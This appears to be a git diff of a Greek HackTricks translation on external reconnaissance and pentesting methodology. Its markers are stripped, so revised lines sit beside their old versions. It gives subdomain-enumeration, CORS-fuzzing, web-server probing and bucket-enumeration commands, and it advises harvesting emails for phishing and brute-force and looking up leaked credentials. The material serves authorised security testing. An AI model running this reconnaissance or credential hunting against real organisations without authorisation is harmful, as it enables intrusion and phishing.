* Μπορείτε να λάβετε τη λίστα λέξεων περιστροφών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα subdomains** βασισμένα σε καθορισμένα πρότυπα για να δοκιμάσει να ανακαλύψει περισσότερα subdomains.
#### Έξυπνη δημιουργία παραλλαγών
#### Έξυπνη δημιουργία περιπτώσεων
* [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τα **ανακαλυφθέντα subdomains** και θα τα ανακατέψει για να βρει περισσότερα subdomains.
```bash
@ -408,13 +405,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο ανίχνευσης υποτομέων με brute-force που συνδυάζεται με έναν απλό αλλά αποτελεσματικό αλγόριθμο καθοδήγησης απόκρισης DNS. Χρησιμοποιεί ένα σύνολο παρεχόμενων δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμα περισσότερο σε έναν βρόχο βασισμένο στις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο ανίχνευσης υποτομέων που συνδυάζεται με έναν απλό αλλά αποτελεσματικό αλγόριθμο καθοδήγησης απόκρισης DNS. Χρησιμοποιεί ένα σύνολο παρεχόμενων δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμα περισσότερο σε έναν βρόχο βασισμένο στις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
```
echo www | subzuf facebook.com
```
### **Ροή Ανακάλυψης Υποτομέων**
Ελέγξτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από ένα τομέα χρησιμοποιώντας **τις διαδικασίες του Trickest** ώστε να μην χρειάζεται να εκκινήσετε χειροκίνητα πολλά εργαλεία στον υπολογιστή σας:
Ελέγξτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από ένα τομέα χρησιμοποιώντας τις **ροές εργασίας του Trickest** ώστε να μην χρειάζεται να εκκινήσετε χειροκίνητα πολλά εργαλεία στον υπολογιστή σας:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -426,7 +423,7 @@ echo www | subzuf facebook.com
#### OSINT
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας το** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλα APIs**.
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** το [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλα APIs**.
**Brute Force**
@ -450,18 +447,18 @@ VHostScan -t example.com
### **Βία Εξαναγκασμού CORS**
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο τον κεφαλίδα _**Access-Control-Allow-Origin**_ όταν ένα έγκυρο τομέα/υποτομέας έχει οριστεί στην κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να **ανακαλύψετε** νέους **υποτομείς**.
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο το κεφαλίδα _**Access-Control-Allow-Origin**_ όταν ένα έγκυρο domain/subdomain έχει οριστεί στο κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να **ανακαλύψετε** νέα **υποτομείς**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Βίαιη Δύναμη Κάδων**
Καθώς αναζητάτε **υποτομές**, πρέπει να παρατηρήσετε αν αυτές δείχνουν σε κάποιον τύπο **κάδου**, και σε αυτή την περίπτωση [**ελέγξτε τις άδειες πρόσβασης**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Καθώς αναζητάτε **υποτομές**, πρέπει να παρατηρήσετε αν αυτές δείχνουν σε κάποιον τύπο **κάδου**, και σε αυτήν την περίπτωση [**ελέγξτε τις άδειες πρόσβασης**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, αφού θα έχετε γνώση όλων των τομέων εντός του πεδίου εφαρμογής, δοκιμάστε [**βίαιη δύναμη πιθανών ονομάτων κάδων και ελέγξτε τις άδειες πρόσβασης**](../../network-services-pentesting/pentesting-web/buckets/).
### **Παρακολούθηση**
Μπορείτε να **παρακολουθείτε** αν **νέες υποτομές** ενός τομέα δημιουργούνται παρακολουθώντας τα **Αρχεία Διαφάνειας Πιστοποίησης** με το εργαλείο [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Μπορείτε να **παρακολουθείτε** αν **νέες υποτομές** ενός τομέα δημιουργούνται με την παρακολούθηση των **Καταγραφών Διαφάνειας Πιστοποιητικού** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)κάνει.
### **Αναζήτηση ευπαθειών**
@ -473,8 +470,8 @@ _Σημειώστε ότι μερικές φορές η υποτομή φιλο
## IPs
Στα αρχικά στάδια μπορεί να έχετε **βρει ορισμένους εύρος IP, τομείς και υποτομές**.\
Ήρθε η ώρα να **συγκεντρώσετε όλες τις IP από αυτά τα εύρη και για τους **τομείς/υποτομές (ερωτήσεις DNS).**
Στα αρχικά στάδια μπορεί να έχετε **βρει μερικούς εύρος IP, τομείς και υποτομές**.\
Ήρθε η ώρα να **συλλέξετε όλες τις IP από αυτά τα εύρη** και για τους **τομείς/υποτομές (ερωτήσεις DNS).**
Χρησιμοποιώντας υπηρεσίες από τα ακόλουθα **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IP που χρησιμοποιήθηκαν από τομείς και υποτομές**. Αυτές οι IP ενδέχεται ακόμα να ανήκουν στον πελάτη (και ενδέχεται να σας επιτρέψουν να βρείτε [**παρακάμψεις CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@ -484,17 +481,17 @@ _Σημειώστε ότι μερικές φορές η υποτομή φιλο
### **Αναζήτηση ευπαθειών**
**Σαρώστε όλες τις IP που δεν ανήκουν σε CDN** (καθώς πιθανότατα δεν θα βρείτε κάτι ενδιαφέρον εκεί). Στις υπηρεσίες που εκτελέστηκαν μπορείτε να **βρείτε ευπαθείς σημεία**.
**Σαρώστε όλες τις IP που δεν ανήκουν σε CDN** (καθώς πιθανότατα δεν θα βρείτε κάτι ενδιαφέρον εκεί). Στις υπηρεσίες που εκτελέστηκαν ενδέχεται να είστε **σε θέση να βρείτε ευπαθείες**.
**Βρείτε ένα** [**οδηγό**](../pentesting-network/) **σχετικά με το πώς να σαρώσετε τους οικοδεσπότες.**
## Κυνήγι διακομιστών ιστού
> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε τους εύρους IP, τους τομείς και τις υποτομές εντός του πεδίου εφαρμογής. Ήρθε η ώρα να αναζητήσουμε διακομιστές ιστού.
> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε τα εύρη IP, τομείς και υποτομές εντός του πεδίου εφαρμογής. Ήρθε η ώρα να αναζητήσουμε διακομιστές ιστού.
Στα προηγούμενα βήματα πιθανόν να έχετε ήδη εκτελέσει κάποια **αναγνώριση των IP και των τομέων που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς διακομιστές ιστού**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για την αναζήτηση διακομιστών ιστού** εντός του πεδίου εφαρμογής.
Παρακαλώ, σημειώστε ότι αυτό θα είναι **προσανατολισμένο προς την ανακάλυψη εφαρμογών ιστού**, οπότε θα πρέπει να **εκτελέσετε την ανίχνευση ευπαθειών** και **σάρωση θυρών** επίσης (**εάν επιτρέπεται** από το πεδίο εφαρμογής).
Παρακαλώ, σημειώστε ότι αυτό θα είναι **προσανατολισμένο για την ανακάλυψη εφαρμογών ιστού**, οπότε θα πρέπει να **εκτελέσετε την ευπαθειών** και τη **σάρωση θυρών** επίσης (**εάν επιτρέπεται** από το πεδίο εφαρμογής).
Ένας **γρήγορος τρόπος** για την ανακάλυψη **ανοιχτών θυρών** που σχετίζονται με **διακομιστές web** χρησιμοποιώντας το [**masscan μπορεί να βρεθεί εδώ**](../pentesting-network/#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για την αναζήτηση διακομιστών ιστού είναι το [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα τομέων και θα προσπαθήσει να συνδεθεί στη θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει και άλλες θύρες:
@ -512,7 +509,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## Δημόσια Περιουσιακά Στοιχεία στο Cloud
Για να βρείτε πιθανά περιουσιακά στοιχεία στο cloud που ανήκουν σε μια εταιρεία θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που ταυτίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια εταιρεία κρυπτονομισμάτων μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Για να βρείτε πιθανά περιουσιακά στοιχεία στο cloud που ανήκουν σε μια εταιρεία θα πρέπει **να ξεκινήσετε με μια λίστα λέξεων-κλειδιών που ταυτίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια εταιρεία κρυπτονομισμάτων μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Θα χρειαστείτε επίσης λίστες λέξεων που χρησιμοποιούνται συχνά σε buckets:
@ -524,15 +521,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Με τις λίστες λέξεων που προκύπτουν μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Να θυμάστε όταν αναζητάτε Περιουσιακά Στοιχεία στο Cloud να **ψάξετε για περισσότερα από απλά buckets στο AWS**.
Θυμηθείτε ότι κατά την αναζήτηση περιουσιακών στοιχείων στο Cloud θα πρέπει να **ψάξετε για περισσότερα από απλά buckets στο AWS**.
### **Αναζήτηση ευπαθειών**
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκθέτες cloud λειτουργίες** θα πρέπει να **έχετε πρόσβαση** σε αυτά και να δοκιμάσετε να δείτε τι σας προσφέρουν και αν μπορείτε να τα καταχραστείτε.
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκθέτες λειτουργίες cloud** θα πρέπει **να τα ανακτήσετε** και να δοκιμάσετε να δείτε τι σας προσφέρουν και αν μπορείτε να τα καταχραστείτε.
## Emails
Με τα **domains** και τα **subdomains** εντός του εύρους ουσιαστικά έχετε όλα όσα χρειάζεστε για να αρχίσετε την αναζήτηση emails. Αυτά είναι τα **APIs** και τα **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για την εύρεση emails μιας εταιρείας:
Με τα **domains** και **subdomains** εντός του εύρους ουσιαστικά έχετε όλα όσα χρειάζεστε για να αρχίσετε την αναζήτηση emails. Αυτά είναι τα **APIs** και τα **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για την εύρεση emails μιας εταιρείας:
* [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs
* API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση)
@ -541,33 +538,33 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζήτηση ευπαθειών**
Τα emails θα είναι χρήσιμα αργότερα για **brute-force εισόδους στο web και υπηρεσίες auth** (όπως SSH). Επίσης, απαιτούνται για **phishings**. Επιπλέον, αυτά τα APIs θα σας δώσουν ακόμη περισσότερες πληροφορίες για το άτομο πίσω από το email, το οποίο είναι χρήσιμο για την καμπάνια phishing.
Τα emails θα είναι χρήσιμα αργότερα για **brute-force στις συνδέσεις ιστού και υπηρεσίες auth** (όπως SSH). Επίσης, απαιτούνται για **phishings**. Επιπλέον, αυτά τα APIs θα σας δώσουν ακόμη περισσότερες πληροφορίες για το άτομο πίσω από το email, το οποίο είναι χρήσιμο για την καμπάνια phishing.
## Διαρροές Διαπιστευτήρων
## Διαρροές Διαπιστευτήριων
Με τα **domains,** **subdomains** και **emails** μπορείτε να αρχίσετε την αναζήτηση διαρροές διαπιστεύτηκαν στο παρελθόν που ανήκουν σε αυτά τα emails:
Με τα **domains,** **subdomains** και **emails** μπορείτε να αρχίσετε την αναζήτηση διαρροών διαπιστευτηρίων που έχουν διαρρεύσει στο παρελθόν και ανήκουν σε αυτά τα emails:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Αναζήτηση ευπαθειών**
Αν βρείτε **έγκυρους διαρρεύσαντες** διαπιστεύτηκαν, αυτό είναι ένα πολύ εύκολο κέρδος.
Αν βρείτε **έγκυρα διαρρεύσαντα** διαπιστευτήρια, αυτό είναι ένα πολύ εύκολο κέρδος.
## Διαρροές Μυστικών
Οι διαρροές διαπιστεύτηκαν σχετίζονται με επιθέσεις σε εταιρείες όπου **διέρρευσαν και πωλήθηκαν ευαίσθητες πληροφορίες**. Ωστόσο, οι εταιρείες ενδέχεται να επηρεαστούν από **άλλες διαρροές** των οποίων οι πληροφορίες δεν βρίσκονται σε αυτές τις βάσεις δεδομένων:
Οι διαρροές διαπιστευτηρίων σχετίζονται με επιθέσεις σε εταιρείες όπου **διέρρευσαν και πωλήθηκαν ευαίσθητες πληροφορίες**. Ωστόσο, οι εταιρείες ενδέχεται να επηρεαστούν από **άλλες διαρροές** των οποίων οι πληροφορίες δεν βρίσκονται σε αυτές τις βάσεις δεδομένων:
### Διαρροές στο Github
Διαπιστεύσεις και APIs μπορεί να διαρρεύσουν στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών της** και να τρέξετε αυτόματα το [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω σε αυτά.
Διαρρεύσεις διαπιστευτηρίων και APIs μπορεί να διαρρεύσουν στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών της** και να εκτελέσετε αυτόματα το [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω σε αυτά.
Το **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να τρέξει το **gitleaks** ξανά σε όλα τα **κείμενα** που παρέχονται μέσω των **URLs που περνάτε** σε αυτό, καθώς μερικές φορές οι **ιστοσελίδες περιέχουν επίσης μυστικά**.
Το **Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσετε το **gitleaks** ξανά σε όλα τα **κείμενα** που παρέχονται μέσω των **URLs που δίνονται** σε αυτό, καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks
Ελέγξτε επίσης αυτήν τη **σελίδα** για πιθανούς **github dorks** που μπορείτε επίσης να αναζητήσετε στον οργανισμό που επιτίθεστε:
Ελέγξτε επίσης αυτήν τη **σελίδα** για πιθανές **github dorks** που μπορείτε επίσης να αναζητήσετε στον οργανισμό που επιτίθεστε:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@ -575,17 +572,17 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Διαρροές σε Σελίδες Επικόλλησης
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε ιστοσελίδα επικόλλησης**. Αυτό ενδέχεται να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες επικόλλησης ταυτόχρονα.
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε ιστότοπο επικόλλησης**. Αυτό ενδέχεται να περιέχει ή όχι **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερους από 80 ιστότοπους επικόλλησης ταυτόχρονα.
### Google Dorks
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να τρέξετε χειροκίνητα. Έτσι, μπορείτε να επιλέξετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως το** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις τρέξετε ό
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να επιλέξετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως το**
## [**Μεθοδολογία Δοκιμής Διείσδυσης Ιστού**](../../network-services-pentesting/pentesting-web/)
Η **πλειοψηφία των ευπαθειών** που βρίσκουν οι κυνηγοί ευρετήριων βρίσκεται μέσα σε **ιστοσελίδες**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμής ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
Η **πλειοψηφία των ευπαθειών** που εντοπίζουν οι κυνηγοί ευρετήριων βρίσκεται μέσα σε **εφαρμογές ιστού**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμής εφαρμογών ιστού**, και μπορείτε [**να βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Εργαλεία Αυτόματης Σάρωσης Ιστού με Ανοιχτό Κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν και δεν πρέπει να αναμένετε να βρουν πολύ ευαίσθητες ευπαθείες, είναι χρήσιμα για να εφαρμόσετε τα **workflows για να έχετε κάποιες αρχικές πληροφορίες για τον ιστό.**
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Εργαλεία Αυτόματης Σάρωσης Ιστού με Ανοιχτό Κώδικα**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν και δεν πρέπει να αναμένετε να βρουν πολύ ευαίσθητες ευπαθείες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
## Ανακεφαλαιώση
@ -597,13 +594,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
2. Βρείτε όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέστε μια σάρωση ευπαθειών αν είναι στο πεδίο εφαρμογής)
3. Βρείτε όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρείτε όλα τα **υποτομεία** των τομέων (κάποια ανάληψη υποτομέων;)
5. Βρείτε όλες τις **IP** (από και **όχι από CDNs**) εντός του πεδίου εφαρμογής.
5. Βρείτε όλες τις **IP** (από και **όχι από CDN**) εντός του πεδίου εφαρμογής.
6. Βρείτε όλους τους **διακομιστές ιστού** και πάρτε μια **στιγμιότυπη εικόνα** τους (κάτι περίεργο που αξίζει μια πιο βαθιά ματιά;)
7. Βρείτε όλα τα **πιθανά δημόσια περιουσιακά στοιχεία στο cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστεύσεων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Δοκιμάστε όλες τις ιστοσελίδες που βρήκατε**
## **Πλήρης Αυτόματα Εργαλεία Αναγνώρισης**
## **Εργαλεία Αυτόματης Πλήρους Αναγνώρισης**
Υπάρχουν πολλά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών εναντίον ενός συγκεκριμένου πεδίου.
@ -618,7 +615,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για μια **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν ενδιαφέρεστε για μια **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -630,8 +627,8 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -14,7 +14,7 @@
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
@ -32,7 +32,7 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
### 1 - [Ανακάλυψη υπολογιστών μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη Περιουσιακών Στοιχείων της εταιρείας](external-recon-methodology/)
**Ανάλογα** με το **τεστ** που εκτελείτε είτε είναι **εσωτερικό είτε εξωτερικό τεστ** μπορεί να σας ενδιαφέρει να βρείτε **υπολογιστές μέσα στο δίκτυο της εταιρείας** (εσωτερικό τεστ) ή **να βρείτε τα περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερικό τεστ).
**Ανάλογα** με το **τεστ** που εκτελείτε είτε είναι **εσωτερικό είτε εξωτερικό τεστ** μπορεί να σας ενδιαφέρει να βρείτε **υπολογιστές μέσα στο δίκτυο της εταιρείας** (εσωτερικό τεστ) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερικό τεστ).
{% hint style="info" %}
Σημειώστε ότι αν εκτελείτε ένα εξωτερικό τεστ, αφού καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
@ -41,7 +41,7 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερικό)**
**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε ένα εσωτερικό τεστ.**\
Πριν επιτεθείτε σε έναν υπολογιστή ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή **να κάνετε sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε το [**Ελέγχος Εισβολής Δικτύου**](pentesting-network/#sniffing).
Πριν επιτεθείτε σε έναν υπολογιστή ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **κάνετε sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε το [**Ελέγχος Εισβολής Δικτύου**](pentesting-network/#sniffing).
### 3- [Σάρωση Θυρών - Ανακάλυψη Υπηρεσιών](pentesting-network/#scanning-hosts)
@ -49,18 +49,18 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
### **4-** [Αναζήτηση εκμεταλλεύσεων εκδοχής υπηρεσιών](search-exploits.md)
Αφού γνωρίζετε ποιες υπηρεσίες τρέχουν, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως έχετε τύχη και υπάρχει ένα εκμετάλλευση που θα σας δώσει ένα κέλυφος...
Αφού μάθετε ποιες υπηρεσίες τρέχουν, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως έχετε την τύχη και υπάρχει ένα εκμετάλλευση για να σας δώσει ένα κέλυφος...
### **5-** Ελέγχος Υπηρεσιών
Αν δεν υπάρχει κάποια εντυπωσιακή εκμετάλλευση για κάποια τρέχουσα υπηρεσία, θα πρέπει να αναζητήσετε **συνηθισμένες λανθάνουσες ρυθμίσεις σε κάθε τρέχουσα υπηρεσία**.
Αν δεν υπάρχει κάποια εντυπωσιακή εκμετάλλευση για κάποια τρέχουσα υπηρεσία, θα πρέπει να ψάξετε για **συνηθισμένες λανθάνουσες ρυθμίσεις σε κάθε τρέχουσα υπηρεσία**.
